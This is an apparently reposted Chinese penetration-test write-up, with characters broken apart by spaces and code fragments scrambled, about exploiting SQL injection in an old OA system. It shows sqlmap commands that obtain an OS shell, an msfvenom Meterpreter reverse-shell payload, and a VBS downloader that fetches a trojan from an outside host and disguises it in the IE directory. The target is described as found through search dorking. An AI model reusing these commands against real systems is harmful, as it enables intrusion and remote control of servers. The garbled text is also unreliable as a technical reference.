搜索

[18276] 2021-02-02_某OA系统从SYSTEM权限SQL注入到内网漫游

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2021-02-02_某OA系统从SYSTEM权限SQL注入到内网漫游 某 O A 系 统 从 S Y S T E M 权 限 S Q L 注 入 到 内 网 漫 游 H A C K 之 道   2 0 2 1 - 0 2 - 0 2 以 下 文 章 来 源 于 乌 雲 安 全   ， 作 者 w o o j a y 作 者 ： 作 者 ： w o o j a y     ， 已 获 授 权 ， ， 已 获 授 权 ， 作 者 博 客 ： 作 者 博 客 ： h t t p s : / / b l o g . b l a n k s h e l l . c o m / 简 单 的 漏 洞 ， 破 坏 性 影 响 。 0 x 0 1   发 现 漏 洞 发 现 漏 洞 七 月 正 值 暑 假 ， 闲 暇 时 光 在 百 度 上 i n u r l 一 番 ， 找 到 了 一 个 古 老 的 企 业 O A 系 统 I P 站 点 ， 没 有 域 名 ， 扫 过 一 眼 ， . N E T 流 行 时 代 的 普 遍 漏 洞 浮 现 在 脑 海 里 — — S Q L 注 入 在 用 户 名 里 输 入 a d m i n ’ ， 不 负 期 望 地 报 了 错 乌 雲 安 全 乌 雲 安 全   . 乌 雲 安 全 ， 致 力 于 红 队 攻 防 实 战 、 内 网 渗 透 、 代 码 审 计 、 社 工 、 安 卓 逆 向 、 C T F 比 赛 技 巧 、 安 全 运 维 等 技 术 干 货 分 享 ， 并 预 警 最 新 漏 洞 ， 定 期 分 享 常 用 渗 透 工 具 、 教 程 等 资 源 。
很 明 显 ， 前 后 端 都 没 有 对 用 户 的 输 入 进 行 过 滤 ， 直 接 将 ’ 带 入 了 S Q L 语 句 进 行 。 初 步 判 断 ， 此 O A 系 统 存 在 S Q L 注 入 漏 洞 。 0 x 0 2   漏 洞 验 证 漏 洞 验 证 打 开 B u r p S u i t e ， 设 置 好 浏 览 器 代 理 ， 抓 下 H T T P 请 求 ， 一 气 呵 成 。
问 题 参 数 为   可 将 整 个 请 求 复 制 到   t e s t . t x t ， 使 用 s q l m a p   - r   来 注 入 t x t L o g i n = a d m i n % 2 7 s q l m a p   - u   h t t p : / / x . x . x . x / x x . a s p x   - - f o r m s
至 此 ， 可 以 确 认 存 在   e r r o r - b a s e d 、 s t a c k   q u i r e s 和 t i m e - b a s e d 三 个 类 型 的 漏 洞 0 x 0 3   判 断 数 据 库 用 户 的 权 限 判 断 数 据 库 用 户 的 权 限 发 现 S Q L 注 入 后 ， 首 先 要 判 断 权 限 ， 高 权 限 的 注 入 可 以 为 后 续 渗 透 省 下 很 大 功 夫 s q l m a p   - u   h t t p : / / x . x . x . x / x x . a s p x   - - f o r m s   - - i s - d b a
非 常 n i c e ， 再 次 不 负 期 望 地 返 回 了 D B A 权 限 输 入 以 下 命 令 ， 获 得 一 个 s h e l l s q l m a p   - u   h t t p : / / x . x . x . x / x x . a s p x   - - f o r m s   - - o s - s h e l l
N T / S Y S T E M 权 限 ， 时 隔 两 个 多 月 ， 复 现 有 误 ， 不 予 贴 图 0 x 0 4   反 弹 反 弹 s h e l l   深 入 内 网 深 入 内 网 生 成 一 个 s h e l l 由 于 环 境 艰 难 ， 不 能 直 接 上 传 文 件 ， 我 选 择 了 用 v b s 脚 本 来 下 载 木 马 到 服 务 器 代 码 如 下 ： m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = x . x . x . x   L P O R T = x x x x   >   / v a r / w w w / h t m l / s h e l l . e x e S e t   p o s t = C r e a t e O b j e c t ( " M s x m l 2 . X M L H T T P " ) p o s t . O p e n   " G E T " , " h t t p : / / x . x . x . x / s h e l l . e x e " ' 发 送 请 求 p o s t . S e n d ( ) S e t   a G e t   =   C r e a t e O b j e c t ( " A D O D B . S t r e a m " ) a G e t . M o d e   =   3 a G e t . T y p e   =   1 a G e t . O p e n ( ) ' 等 待 3 秒 ， 等 文 件 下 载 w s c r i p t . s l e e p   3 0 0 0
用 e c h o 命 令 缓 慢 地 写 完 了 v b s 脚 本 之 后 ， 顺 利 运 行 ， 下 载 了 木 马 更 改 名 字 ， 移 动 到 I E 安 装 目 录 进 行 伪 装   运 行 木 马 m e t a s p l o i t 成 功 收 到 了 S Y S T E M 权 限 的 s h e l l 该 主 机 拥 有 内 网 I P ， 存 在 内 网 ， 可 以 互 通 ， 并 且 该 主 机 作 为 中 央 数 据 库 a G e t . W r i t e ( p o s t . r e s p o n s e B o d y ) ' 写 数 据 a G e t . S a v e T o F i l e   " s h e l l . e x e " , 2 s t a r t   i e e . e x e
此 内 网 主 机 皆 为 V M w a r e 虚 拟 机 0 x 0 5   结 束 测 试 ， 提 交 漏 洞 结 束 测 试 ， 提 交 漏 洞 本 次 渗 透 测 试 成 功 拿 到 最 高 权 限 ，   到 此 为 止 ， 不 再 深 入 。 随 着 攻 击 与 防 御 技 术 的 彼 此 攀 升 ， 程 序 员 的 安 全 意 识 逐 渐 提 高 ， S Q L 也 越 来 越 少 。 但 不 少 粗 糙 的 程 序 和 古 老 的 系 统 仍 然 存 在 此 漏 洞 ， 此 类 漏 洞 解 决 方 法 简 单 ， 只 用 对 用 户 输 入 参 数 稍 加 处 理 即 可 。 扫 描 关 注 乌 云 安 全 扫 描 关 注 乌 云 安 全 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理